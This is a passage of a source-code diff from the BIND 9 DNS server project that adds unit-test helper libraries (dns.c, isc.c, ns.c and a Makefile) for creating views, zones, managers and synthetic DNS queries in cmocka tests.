+	name = cfg_map_firstclause(&cfg_type_zoneopts, &clauses, &idx);
+	assert_non_null(name);
+	assert_non_null(clauses);
+	assert_int_equal(idx, ISC_R_SUCCESS);
+
+	do {
+		name = cfg_map_nextclause(&cfg_type_zoneopts, &clauses, &idx);
+		if (name != NULL) {
+			assert_non_null(clauses);
+		} else {
+			assert_null(clauses);
+			assert_int_equal(idx, 0);
+		}
+	} while (name != NULL);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(addzoneconf)
+ISC_TEST_ENTRY(parse_buffer)
+ISC_TEST_ENTRY(cfg_map_firstclause)
+ISC_TEST_ENTRY(cfg_map_nextclause)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN_CUSTOM(setup_test_group, teardown_test_group)
diff --git a/tests/libtest/Makefile.am b/tests/libtest/Makefile.am
new file mode 100644
index 0000000000..1fe4c57b36
--- /dev/null
+++ b/tests/libtest/Makefile.am
@@ -0,0 +1,32 @@
+include $(top_srcdir)/Makefile.top
+
+AM_CPPFLAGS +=			\
+	$(LIBISC_CFLAGS)	\
+	$(LIBDNS_CFLAGS)	\
+	$(LIBNS_CFLAGS)		\
+	$(LIBURCU_CFLAGS)	\
+	$(LIBUV_CFLAGS)		\
+	-I$(top_srcdir)/lib/isc	\
+	-I$(top_srcdir)/lib/dns
+
+LDADD +=			\
+	$(LIBISC_LIBS)		\
+	$(LIBDNS_LIBS)		\
+	$(LIBNS_LIBS)
+
+noinst_LTLIBRARIES = libtest.la
+
+libtest_la_SOURCES =			\
+	../include/tests/isc.h		\
+	../include/tests/ns.h		\
+	../include/tests/qp.h		\
+	isc.c				\
+	ns.c				\
+	qp.c
+if HAVE_CMOCKA
+libtest_la_SOURCES +=			\
+	../include/tests/dns.h		\
+        dns.c
+endif HAVE_CMOCKA
+
+include $(top_srcdir)/Makefile.tests
diff --git a/tests/libtest/dns.c b/tests/libtest/dns.c
new file mode 100644
index 0000000000..d50c012caf
--- /dev/null
+++ b/tests/libtest/dns.c
@@ -0,0 +1,503 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*! \file */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/buffer.h>
+#include <isc/file.h>
+#include <isc/hash.h>
+#include <isc/hex.h>
+#include <isc/lex.h>
+#include <isc/managers.h>
+#include <isc/mem.h>
+#include <isc/netmgr.h>
+#include <isc/os.h>
+#include <isc/random.h>
+#include <isc/result.h>
+#include <isc/stdio.h>
+#include <isc/string.h>
+#include <isc/timer.h>
+#include <isc/util.h>
+
+#include <dns/callbacks.h>
+#include <dns/db.h>
+#include <dns/dispatch.h>
+#include <dns/fixedname.h>
+#include <dns/log.h>
+#include <dns/name.h>
+#include <dns/view.h>
+#include <dns/zone.h>
+
+#include <tests/dns.h>
+
+dns_zonemgr_t *zonemgr = NULL;
+
+/*
+ * Create a view.
+ */
+isc_result_t
+dns_test_makeview(const char *name, bool with_dispatchmgr, bool with_cache,
+		  dns_view_t **viewp) {
+	isc_result_t result;
+	dns_view_t *view = NULL;
+	dns_cache_t *cache = NULL;
+	dns_dispatchmgr_t *dispatchmgr = NULL;
+
+	if (with_dispatchmgr) {
+		result = dns_dispatchmgr_create(mctx, netmgr, &dispatchmgr);
+		if (result != ISC_R_SUCCESS) {
+			return (result);
+		}
+	}
+
+	result = dns_view_create(mctx, dispatchmgr, dns_rdataclass_in, name,
+				 &view);
+
+	if (dispatchmgr != NULL) {
+		dns_dispatchmgr_detach(&dispatchmgr);
+	}
+
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	if (with_cache) {
+		result = dns_cache_create(loopmgr, dns_rdataclass_in, "",
+					  &cache);
+		if (result != ISC_R_SUCCESS) {
+			dns_view_detach(&view);
+			return (result);
+		}
+
+		dns_view_setcache(view, cache, false);
+		/*
+		 * Reference count for "cache" is now at 2, so decrement it in
+		 * order for the cache to be automatically freed when "view"
+		 * gets freed.
+		 */
+		dns_cache_detach(&cache);
+	}
+
+	*viewp = view;
+
+	return (ISC_R_SUCCESS);
+}
+
+isc_result_t
+dns_test_makezone(const char *name, dns_zone_t **zonep, dns_view_t *view,
+		  bool createview) {
+	dns_fixedname_t fixed_origin;
+	dns_zone_t *zone = NULL;
+	isc_result_t result;
+	dns_name_t *origin;
+
+	REQUIRE(view == NULL || !createview);
+
+	/*
+	 * Create the zone structure.
+	 */
+	dns_zone_create(&zone, mctx, 0);
+
+	/*
+	 * Set zone type and origin.
+	 */
+	dns_zone_settype(zone, dns_zone_primary);
+	origin = dns_fixedname_initname(&fixed_origin);
+	result = dns_name_fromstring(origin, name, dns_rootname, 0, NULL);
+	if (result != ISC_R_SUCCESS) {
+		goto detach_zone;
+	}
+	result = dns_zone_setorigin(zone, origin);
+	if (result != ISC_R_SUCCESS) {
+		goto detach_zone;
+	}
+
+	/*
+	 * If requested, create a view.
+	 */
+	if (createview) {
+		result = dns_test_makeview("view", false, false, &view);
+		if (result != ISC_R_SUCCESS) {
+			goto detach_zone;
+		}
+	}
+
+	/*
+	 * If a view was passed as an argument or created above, attach the
+	 * created zone to it.  Otherwise, set the zone's class to IN.
+	 */
+	if (view != NULL) {
+		dns_zone_setview(zone, view);
+		dns_zone_setclass(zone, view->rdclass);
+		dns_view_addzone(view, zone);
+	} else {
+		dns_zone_setclass(zone, dns_rdataclass_in);
+	}
+
+	*zonep = zone;
+
+	return (ISC_R_SUCCESS);
+
+detach_zone:
+	dns_zone_detach(&zone);
+
+	return (result);
+}
+
+void
+dns_test_setupzonemgr(void) {
+	REQUIRE(zonemgr == NULL);
+
+	dns_zonemgr_create(mctx, loopmgr, netmgr, &zonemgr);
+}
+
+isc_result_t
+dns_test_managezone(dns_zone_t *zone) {
+	isc_result_t result;
+	REQUIRE(zonemgr != NULL);
+
+	result = dns_zonemgr_managezone(zonemgr, zone);
+	return (result);
+}
+
+void
+dns_test_releasezone(dns_zone_t *zone) {
+	REQUIRE(zonemgr != NULL);
+	dns_zonemgr_releasezone(zonemgr, zone);
+}
+
+void
+dns_test_closezonemgr(void) {
+	REQUIRE(zonemgr != NULL);
+
+	dns_zonemgr_shutdown(zonemgr);
+	dns_zonemgr_detach(&zonemgr);
+}
+
+/*
+ * Sleep for 'usec' microseconds.
+ */
+void
+dns_test_nap(uint32_t usec) {
+	struct timespec ts;
+
+	ts.tv_sec = usec / 1000000;
+	ts.tv_nsec = (usec % 1000000) * 1000;
+	nanosleep(&ts, NULL);
+}
+
+isc_result_t
+dns_test_loaddb(dns_db_t **db, dns_dbtype_t dbtype, const char *origin,
+		const char *testfile) {
+	isc_result_t result;
+	dns_fixedname_t fixed;
+	dns_name_t *name;
+
+	name = dns_fixedname_initname(&fixed);
+
+	result = dns_name_fromstring(name, origin, dns_rootname, 0, NULL);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	result = dns_db_create(mctx, "rbt", name, dbtype, dns_rdataclass_in, 0,
+			       NULL, db);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	result = dns_db_load(*db, testfile, dns_masterformat_text, 0);
+	return (result);
+}
+
+static int
+fromhex(char c) {
+	if (c >= '0' && c <= '9') {
+		return (c - '0');
+	} else if (c >= 'a' && c <= 'f') {
+		return (c - 'a' + 10);
+	} else if (c >= 'A' && c <= 'F') {
+		return (c - 'A' + 10);
+	}
+
+	printf("bad input format: %02x\n", c);
+	exit(3);
+}
+
+/*
+ * Format contents of given memory region as a hex string, using the buffer
+ * of length 'buflen' pointed to by 'buf'. 'buflen' must be at least three
+ * times 'len'. Always returns 'buf'.
+ */
+char *
+dns_test_tohex(const unsigned char *data, size_t len, char *buf,
+	       size_t buflen) {
+	isc_constregion_t source = { .base = data, .length = len };
+	isc_buffer_t target;
+	isc_result_t result;
+
+	memset(buf, 0, buflen);
+	isc_buffer_init(&target, buf, buflen);
+	result = isc_hex_totext((isc_region_t *)&source, 1, " ", &target);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	return (buf);
+}
+
+isc_result_t
+dns_test_getdata(const char *file, unsigned char *buf, size_t bufsiz,
+		 size_t *sizep) {
+	isc_result_t result;
+	unsigned char *bp;
+	char *rp, *wp;
+	char s[BUFSIZ];
+	size_t len, i;
+	FILE *f = NULL;
+	int n;
+
+	result = isc_stdio_open(file, "r", &f);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	bp = buf;
+	while (fgets(s, sizeof(s), f) != NULL) {
+		rp = s;
+		wp = s;
+		len = 0;
+		while (*rp != '\0') {
+			if (*rp == '#') {
+				break;
+			}
+			if (*rp != ' ' && *rp != '\t' && *rp != '\r' &&
+			    *rp != '\n')
+			{
+				*wp++ = *rp;
+				len++;
+			}
+			rp++;
+		}
+		if (len == 0U) {
+			continue;
+		}
+		if (len % 2 != 0U) {
+			result = ISC_R_UNEXPECTEDEND;
+			break;
+		}
+		if (len > bufsiz * 2) {
+			result = ISC_R_NOSPACE;
+			break;
+		}
+		rp = s;
+		for (i = 0; i < len; i += 2) {
+			n = fromhex(*rp++);
+			n *= 16;
+			n += fromhex(*rp++);
+			*bp++ = n;
+		}
+	}
+
+	if (result == ISC_R_SUCCESS) {
+		*sizep = bp - buf;
+	}
+
+	isc_stdio_close(f);
+	return (result);
+}
+
+static void
+nullmsg(dns_rdatacallbacks_t *cb, const char *fmt, ...) {
+	UNUSED(cb);
+	UNUSED(fmt);
+}
+
+isc_result_t
+dns_test_rdatafromstring(dns_rdata_t *rdata, dns_rdataclass_t rdclass,
+			 dns_rdatatype_t rdtype, unsigned char *dst,
+			 size_t dstlen, const char *src, bool warnings) {
+	dns_rdatacallbacks_t callbacks;
+	isc_buffer_t source, target;
+	isc_lex_t *lex = NULL;
+	isc_lexspecials_t specials = { 0 };
+	isc_result_t result;
+	size_t length;
+
+	REQUIRE(rdata != NULL);
+	REQUIRE(DNS_RDATA_INITIALIZED(rdata));
+	REQUIRE(dst != NULL);
+	REQUIRE(src != NULL);
+
+	/*
+	 * Set up source to hold the input string.
+	 */
+	length = strlen(src);
+	isc_buffer_constinit(&source, src, length);
+	isc_buffer_add(&source, length);
+
+	/*
+	 * Create a lexer as one is required by dns_rdata_fromtext().
+	 */
+	isc_lex_create(mctx, 64, &lex);
+
+	/*
+	 * Set characters which will be treated as valid multi-line RDATA
+	 * delimiters while reading the source string.  These should match
+	 * specials from lib/dns/master.c.
+	 */
+	specials[0] = 1;
+	specials['('] = 1;
+	specials[')'] = 1;
+	specials['"'] = 1;
+	isc_lex_setspecials(lex, specials);
+
+	/*
+	 * Expect DNS masterfile comments.
+	 */
+	isc_lex_setcomments(lex, ISC_LEXCOMMENT_DNSMASTERFILE);
+
+	/*
+	 * Point lexer at source.
+	 */
+	result = isc_lex_openbuffer(lex, &source);
+	if (result != ISC_R_SUCCESS) {
+		goto destroy_lexer;
+	}
+
+	/*
+	 * Set up target for storing uncompressed wire form of provided RDATA.
+	 */
+	isc_buffer_init(&target, dst, dstlen);
+
+	/*
+	 * Set up callbacks so warnings and errors are not printed.
+	 */
+	if (!warnings) {
+		dns_rdatacallbacks_init(&callbacks);
+		callbacks.warn = callbacks.error = nullmsg;
+	}
+
+	/*
+	 * Parse input string, determining result.
+	 */
+	result = dns_rdata_fromtext(rdata, rdclass, rdtype, lex, dns_rootname,
+				    0, mctx, &target, &callbacks);
+
+destroy_lexer:
+	isc_lex_destroy(&lex);
+
+	return (result);
+}
+
+void
+dns_test_namefromstring(const char *namestr, dns_fixedname_t *fname) {
+	size_t length;
+	isc_buffer_t *b = NULL;
+	isc_result_t result;
+	dns_name_t *name;
+
+	length = strlen(namestr);
+
+	name = dns_fixedname_initname(fname);
+
+	isc_buffer_allocate(mctx, &b, length);
+
+	isc_buffer_putmem(b, (const unsigned char *)namestr, length);
+	result = dns_name_fromtext(name, b, NULL, 0, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_buffer_free(&b);
+}
+
+isc_result_t
+dns_test_difffromchanges(dns_diff_t *diff, const zonechange_t *changes,
+			 bool warnings) {
+	isc_result_t result = ISC_R_SUCCESS;
+	unsigned char rdata_buf[1024];
+	dns_difftuple_t *tuple = NULL;
+	isc_consttextregion_t region;
+	dns_rdatatype_t rdatatype;
+	dns_fixedname_t fixedname;
+	dns_rdata_t rdata;
+	dns_name_t *name;
+	size_t i;
+
+	REQUIRE(diff != NULL);
+	REQUIRE(changes != NULL);
+
+	dns_diff_init(mctx, diff);
+
+	for (i = 0; changes[i].owner != NULL; i++) {
+		/*
+		 * Parse owner name.
+		 */
+		name = dns_fixedname_initname(&fixedname);
+		result = dns_name_fromstring(name, changes[i].owner,
+					     dns_rootname, 0, mctx);
+		if (result != ISC_R_SUCCESS) {
+			break;
+		}
+
+		/*
+		 * Parse RDATA type.
+		 */
+		region.base = changes[i].type;
+		region.length = strlen(changes[i].type);
+		result = dns_rdatatype_fromtext(&rdatatype,
+						(isc_textregion_t *)&region);
+		if (result != ISC_R_SUCCESS) {
+			break;
+		}
+
+		/*
+		 * Parse RDATA.
+		 */
+		dns_rdata_init(&rdata);
+		result = dns_test_rdatafromstring(
+			&rdata, dns_rdataclass_in, rdatatype, rdata_buf,
+			sizeof(rdata_buf), changes[i].rdata, warnings);
+		if (result != ISC_R_SUCCESS) {
+			break;
+		}
+
+		/*
+		 * Create a diff tuple for the parsed change and append it to
+		 * the diff.
+		 */
+		result = dns_difftuple_create(mctx, changes[i].op, name,
+					      changes[i].ttl, &rdata, &tuple);
+		if (result != ISC_R_SUCCESS) {
+			break;
+		}
+		dns_diff_append(diff, &tuple);
+	}
+
+	if (result != ISC_R_SUCCESS) {
+		dns_diff_clear(diff);
+	}
+
+	return (result);
+}
diff --git a/tests/libtest/isc.c b/tests/libtest/isc.c
new file mode 100644
index 0000000000..324fc1d7cf
--- /dev/null
+++ b/tests/libtest/isc.c
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*! \file */
+
+#include <inttypes.h>
+#include <signal.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <sys/resource.h>
+#include <time.h>
+
+#include <isc/buffer.h>
+#include <isc/hash.h>
+#include <isc/loop.h>
+#include <isc/managers.h>
+#include <isc/mem.h>
+#include <isc/os.h>
+#include <isc/string.h>
+#include <isc/timer.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+isc_mem_t *mctx = NULL;
+isc_log_t *lctx = NULL;
+isc_loop_t *mainloop = NULL;
+isc_loopmgr_t *loopmgr = NULL;
+isc_nm_t *netmgr = NULL;
+unsigned int workers = 0;
+
+static void
+adjustnofile(void) {
+	struct rlimit rl;
+
+	if (getrlimit(RLIMIT_NOFILE, &rl) == 0) {
+		if (rl.rlim_cur != rl.rlim_max) {
+			rl.rlim_cur = rl.rlim_max;
+			setrlimit(RLIMIT_NOFILE, &rl);
+		}
+	}
+}
+
+int
+setup_workers(void **state ISC_ATTR_UNUSED) {
+	char *env_workers = getenv("ISC_TASK_WORKERS");
+	if (env_workers != NULL) {
+		workers = atoi(env_workers);
+	} else {
+		workers = isc_os_ncpus();
+
+		/* We always need at least two loops for some of the tests */
+		if (workers < 2) {
+			workers = 2;
+		}
+	}
+	INSIST(workers != 0);
+
+	return (0);
+}
+
+int
+setup_mctx(void **state ISC_ATTR_UNUSED) {
+	isc_mem_debugging |= ISC_MEM_DEBUGRECORD;
+	isc_mem_create(&mctx);
+
+	return (0);
+}
+
+int
+teardown_mctx(void **state ISC_ATTR_UNUSED) {
+	isc_mem_destroy(&mctx);
+
+	return (0);
+}
+
+int
+setup_loopmgr(void **state ISC_ATTR_UNUSED) {
+	REQUIRE(mctx != NULL);
+
+	setup_workers(state);
+
+	isc_loopmgr_create(mctx, workers, &loopmgr);
+	mainloop = isc_loop_main(loopmgr);
+
+	return (0);
+}
+
+int
+teardown_loopmgr(void **state ISC_ATTR_UNUSED) {
+	REQUIRE(netmgr == NULL);
+
+	mainloop = NULL;
+	isc_loopmgr_destroy(&loopmgr);
+
+	return (0);
+}
+
+int
+setup_netmgr(void **state ISC_ATTR_UNUSED) {
+	REQUIRE(loopmgr != NULL);
+
+	adjustnofile();
+
+	isc_netmgr_create(mctx, loopmgr, &netmgr);
+
+	return (0);
+}
+
+int
+teardown_netmgr(void **state ISC_ATTR_UNUSED) {
+	REQUIRE(loopmgr != NULL);
+
+	isc_netmgr_destroy(&netmgr);
+
+	return (0);
+}
+
+int
+setup_managers(void **state) {
+	setup_loopmgr(state);
+	setup_netmgr(state);
+
+	return (0);
+}
+
+int
+teardown_managers(void **state) {
+	teardown_netmgr(state);
+	teardown_loopmgr(state);
+
+	return (0);
+}
diff --git a/tests/libtest/ns.c b/tests/libtest/ns.c
new file mode 100644
index 0000000000..19b2f67699
--- /dev/null
+++ b/tests/libtest/ns.c
@@ -0,0 +1,625 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*! \file */
+
+#include <inttypes.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <time.h>
+#include <unistd.h>
+
+#include <isc/buffer.h>
+#include <isc/file.h>
+#include <isc/hash.h>
+#include <isc/job.h>
+#include <isc/loop.h>
+#include <isc/managers.h>
+#include <isc/mem.h>
+#include <isc/netmgr.h>
+#include <isc/os.h>
+#include <isc/random.h>
+#include <isc/result.h>
+#include <isc/stdio.h>
+#include <isc/string.h>
+#include <isc/timer.h>
+#include <isc/util.h>
+
+#include <dns/cache.h>
+#include <dns/db.h>
+#include <dns/dispatch.h>
+#include <dns/fixedname.h>
+#include <dns/log.h>
+#include <dns/name.h>
+#include <dns/view.h>
+#include <dns/zone.h>
+
+#include <ns/client.h>
+#include <ns/hooks.h>
+#include <ns/interfacemgr.h>
+#include <ns/server.h>
+
+#include <tests/ns.h>
+
+dns_dispatchmgr_t *dispatchmgr = NULL;
+ns_interfacemgr_t *interfacemgr = NULL;
+ns_server_t *sctx = NULL;
+
+static isc_result_t
+matchview(isc_netaddr_t *srcaddr, isc_netaddr_t *destaddr,
+	  dns_message_t *message, dns_aclenv_t *env, isc_result_t *sigresultp,
+	  dns_view_t **viewp) {
+	UNUSED(srcaddr);
+	UNUSED(destaddr);
+	UNUSED(message);
+	UNUSED(env);
+	UNUSED(sigresultp);
+	UNUSED(viewp);
+
+	return (ISC_R_NOTIMPLEMENTED);
+}
+
+static void
+scan_interfaces(void *arg) {
+	UNUSED(arg);
+	ns_interfacemgr_scan(interfacemgr, true, false);
+}
+
+int
+setup_server(void **state) {
+	isc_result_t result;
+	ns_listenlist_t *listenon = NULL;
+	in_port_t port = 5300 + isc_random8();
+
+	setup_managers(state);
+
+	ns_server_create(mctx, matchview, &sctx);
+
+	result = dns_dispatchmgr_create(mctx, netmgr, &dispatchmgr);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
+	}
+
+	result = ns_interfacemgr_create(mctx, sctx, loopmgr, netmgr,
+					dispatchmgr, NULL, false,
+					&interfacemgr);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
+	}
+
+	result = ns_listenlist_default(mctx, port, true, AF_INET, &listenon);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
+	}
+
+	ns_interfacemgr_setlistenon4(interfacemgr, listenon);
+	ns_listenlist_detach(&listenon);
+
+	isc_loop_setup(mainloop, scan_interfaces, NULL);
+
+	return (0);
+
+cleanup:
+	teardown_server(state);
+	return (-1);
+}
+
+void
+shutdown_interfacemgr(void *arg ISC_ATTR_UNUSED) {
+	if (interfacemgr != NULL) {
+		ns_interfacemgr_shutdown(interfacemgr);
+		ns_interfacemgr_detach(&interfacemgr);
+	}
+}
+
+int
+teardown_server(void **state) {
+	shutdown_interfacemgr(NULL);
+
+	if (dispatchmgr != NULL) {
+		dns_dispatchmgr_detach(&dispatchmgr);
+	}
+
+	if (sctx != NULL) {
+		ns_server_detach(&sctx);
+	}
+
+	teardown_managers(state);
+	return (0);
+}
+
+static dns_zone_t *served_zone = NULL;
+
+isc_result_t
+ns_test_serve_zone(const char *zonename, const char *filename,
+		   dns_view_t *view) {
+	isc_result_t result;
+	dns_db_t *db = NULL;
+
+	/*
+	 * Prepare zone structure for further processing.
+	 */
+	result = dns_test_makezone(zonename, &served_zone, view, false);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	/*
+	 * Start zone manager.
+	 */
+	dns_test_setupzonemgr();
+
+	/*
+	 * Add the zone to the zone manager.
+	 */
+	result = dns_test_managezone(served_zone);
+	if (result != ISC_R_SUCCESS) {
+		goto close_zonemgr;
+	}
+
+	view->nocookieudp = 512;
+
+	/*
+	 * Set path to the master file for the zone and then load it.
+	 */
+	dns_zone_setfile(served_zone, filename, dns_masterformat_text,
+			 &dns_master_style_default);
+	result = dns_zone_load(served_zone, false);
+	if (result != ISC_R_SUCCESS) {
+		goto release_zone;
+	}
+
+	/*
+	 * The zone should now be loaded; test it.
+	 */
+	result = dns_zone_getdb(served_zone, &db);
+	if (result != ISC_R_SUCCESS) {
+		goto release_zone;
+	}
+	if (db != NULL) {
+		dns_db_detach(&db);
+	}
+
+	return (ISC_R_SUCCESS);
+
+release_zone:
+	dns_test_releasezone(served_zone);
+close_zonemgr:
+	dns_test_closezonemgr();
+	dns_zone_detach(&served_zone);
+
+	return (result);
+}
+
+void
+ns_test_cleanup_zone(void) {
+	dns_test_releasezone(served_zone);
+	dns_test_closezonemgr();
+
+	dns_zone_detach(&served_zone);
+}
+
+isc_result_t
+ns_test_getclient(ns_interface_t *ifp0, bool tcp, ns_client_t **clientp) {
+	isc_result_t result;
+	ns_client_t *client;
+	ns_clientmgr_t *clientmgr;
+	int i;
+
+	UNUSED(ifp0);
+	UNUSED(tcp);
+
+	clientmgr = ns_interfacemgr_getclientmgr(interfacemgr);
+
+	client = isc_mem_get(clientmgr->mctx, sizeof(*client));
+	result = ns__client_setup(client, clientmgr, true);
+
+	for (i = 0; i < 32; i++) {
+		if (atomic_load(&client_addrs[i]) == (uintptr_t)NULL ||
+		    atomic_load(&client_addrs[i]) == (uintptr_t)client)
+		{
+			break;
+		}
+	}
+	REQUIRE(i < 32);
+
+	atomic_store(&client_refs[i], 2);
+	atomic_store(&client_addrs[i], (uintptr_t)client);
+	client->handle = (isc_nmhandle_t *)client; /* Hack */
+	*clientp = client;
+
+	return (result);
+}
+
+/*%
+ * Synthesize a DNS message based on supplied QNAME, QTYPE and flags, then
+ * parse it and store the results in client->message.
+ */
+static isc_result_t
+attach_query_msg_to_client(ns_client_t *client, const char *qnamestr,
+			   dns_rdatatype_t qtype, unsigned int qflags) {
+	dns_rdataset_t *qrdataset = NULL;
+	dns_message_t *message = NULL;
+	unsigned char query[65536];
+	dns_name_t *qname = NULL;
+	isc_buffer_t querybuf;
+	dns_compress_t cctx;
+	isc_result_t result;
+
+	REQUIRE(client != NULL);
+	REQUIRE(qnamestr != NULL);
+
+	/*
+	 * Create a new DNS message holding a query.
+	 */
+	dns_message_create(mctx, DNS_MESSAGE_INTENTRENDER, &message);
+
+	/*
+	 * Set query ID to a random value.
+	 */
+	message->id = isc_random16();
+
+	/*
+	 * Set query flags as requested by the caller.
+	 */
+	message->flags = qflags;
+
+	/*
+	 * Allocate structures required to construct the query.
+	 */
+	dns_message_gettemprdataset(message, &qrdataset);
+	dns_message_gettempname(message, &qname);
+
+	/*
+	 * Convert "qnamestr" to a DNS name, create a question rdataset of
+	 * class IN and type "qtype", link the two and add the result to the
+	 * QUESTION section of the query.
+	 */
+	result = dns_name_fromstring(qname, qnamestr, dns_rootname, 0, mctx);
+	if (result != ISC_R_SUCCESS) {
+		goto put_name;
+	}
+	dns_rdataset_makequestion(qrdataset, dns_rdataclass_in, qtype);
+	ISC_LIST_APPEND(qname->list, qrdataset, link);
+	dns_message_addname(message, qname, DNS_SECTION_QUESTION);
+
+	/*
+	 * Render the query.
+	 */
+	dns_compress_init(&cctx, mctx, 0);
+	isc_buffer_init(&querybuf, query, sizeof(query));
+	result = dns_message_renderbegin(message, &cctx, &querybuf);
+	if (result != ISC_R_SUCCESS) {
+		goto destroy_message;
+	}
+	result = dns_message_rendersection(message, DNS_SECTION_QUESTION, 0);
+	if (result != ISC_R_SUCCESS) {
+		goto destroy_message;
+	}
+	result = dns_message_renderend(message);
+	if (result != ISC_R_SUCCESS) {
+		goto destroy_message;
+	}
+	dns_compress_invalidate(&cctx);
+
+	/*
+	 * Destroy the created message as it was rendered into "querybuf" and
+	 * the latter is all we are going to need from now on.
+	 */
+	dns_message_detach(&message);
+
+	/*
+	 * Parse the rendered query, storing results in client->message.
+	 */
+	isc_buffer_first(&querybuf);
+	return (dns_message_parse(client->message, &querybuf, 0));
+
+put_name:
+	dns_message_puttempname(message, &qname);
+	dns_message_puttemprdataset(message, &qrdataset);
+destroy_message:
+	dns_message_detach(&message);
+
+	return (result);
+}
+
+/*%
+ * A hook action which stores the query context pointed to by "arg" at
+ * "data".  Causes execution to be interrupted at hook insertion
+ * point.
+ */
+static ns_hookresult_t
+extract_qctx(void *arg, void *data, isc_result_t *resultp) {
+	query_ctx_t **qctxp;
+	query_ctx_t *qctx;
+
+	REQUIRE(arg != NULL);
+	REQUIRE(data != NULL);
+	REQUIRE(resultp != NULL);
+
+	/*
+	 * qctx is a stack variable in lib/ns/query.c.  Its contents need to be
+	 * duplicated or otherwise they will become invalidated once the stack
+	 * gets unwound.
+	 */
+	qctx = isc_mem_get(mctx, sizeof(*qctx));
+	if (qctx != NULL) {
+		memmove(qctx, (query_ctx_t *)arg, sizeof(*qctx));
+	}
+
+	qctxp = (query_ctx_t **)data;
+	/*
+	 * If memory allocation failed, the supplied pointer will simply be set
+	 * to NULL.  We rely on the user of this hook to react properly.
+	 */
+	*qctxp = qctx;
+	*resultp = ISC_R_UNSET;
+
+	return (NS_HOOK_RETURN);
+}
+
+/*%
+ * Initialize a query context for "client" and store it in "qctxp".
+ *
+ * Requires:
+ *
+ * 	\li "client->message" to hold a parsed DNS query.
+ */
+static isc_result_t
+create_qctx_for_client(ns_client_t *client, query_ctx_t **qctxp) {
+	ns_hooktable_t *saved_hook_table = NULL, *query_hooks = NULL;
+	const ns_hook_t hook = {
+		.action = extract_qctx,
+		.action_data = qctxp,
+	};
+
+	REQUIRE(client != NULL);
+	REQUIRE(qctxp != NULL);
+	REQUIRE(*qctxp == NULL);
+
+	/*
+	 * Call ns_query_start() to initialize a query context for given
+	 * client, but first hook into query_setup() so that we can just
+	 * extract an initialized query context, without kicking off any
+	 * further processing.  Make sure we do not overwrite any previously
+	 * set hooks.
+	 */
+
+	ns_hooktable_create(mctx, &query_hooks);
+	ns_hook_add(query_hooks, mctx, NS_QUERY_SETUP, &hook);
+
+	saved_hook_table = ns__hook_table;
+	ns__hook_table = query_hooks;
+
+	ns_query_start(client, client->handle);
+
+	ns__hook_table = saved_hook_table;
+	ns_hooktable_free(mctx, (void **)&query_hooks);
+
+	isc_nmhandle_detach(&client->reqhandle);
+
+	if (*qctxp == NULL) {
+		return (ISC_R_NOMEMORY);
+	} else {
+		return (ISC_R_SUCCESS);
+	}
+}
+
+isc_result_t
+ns_test_qctx_create(const ns_test_qctx_create_params_t *params,
+		    query_ctx_t **qctxp) {
+	ns_client_t *client = NULL;
+	isc_result_t result;
+	isc_nmhandle_t *handle = NULL;
+
+	REQUIRE(params != NULL);
+	REQUIRE(params->qname != NULL);
+	REQUIRE(qctxp != NULL);
+	REQUIRE(*qctxp == NULL);
+
+	/*
+	 * Allocate and initialize a client structure.
+	 */
+	result = ns_test_getclient(NULL, false, &client);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+	client->tnow = isc_time_now();
+
+	/*
+	 * Every client needs to belong to a view.
+	 */
+	result = dns_test_makeview("view", false, params->with_cache,
+				   &client->view);
+	if (result != ISC_R_SUCCESS) {
+		goto detach_client;
+	}
+
+	/*
+	 * Synthesize a DNS query using given QNAME, QTYPE and flags, storing
+	 * it in client->message.
+	 */
+	result = attach_query_msg_to_client(client, params->qname,
+					    params->qtype, params->qflags);
+	if (result != ISC_R_SUCCESS) {
+		goto detach_view;
+	}
+
+	/*
+	 * Allow recursion for the client.  As NS_CLIENTATTR_RA normally gets
+	 * set in ns_client_request(), i.e. earlier than the unit tests hook
+	 * into the call chain, just set it manually.
+	 */
+	client->attributes |= NS_CLIENTATTR_RA;
+
+	/*
+	 * Create a query context for a client sending the previously
+	 * synthesized query.
+	 */
+	result = create_qctx_for_client(client, qctxp);
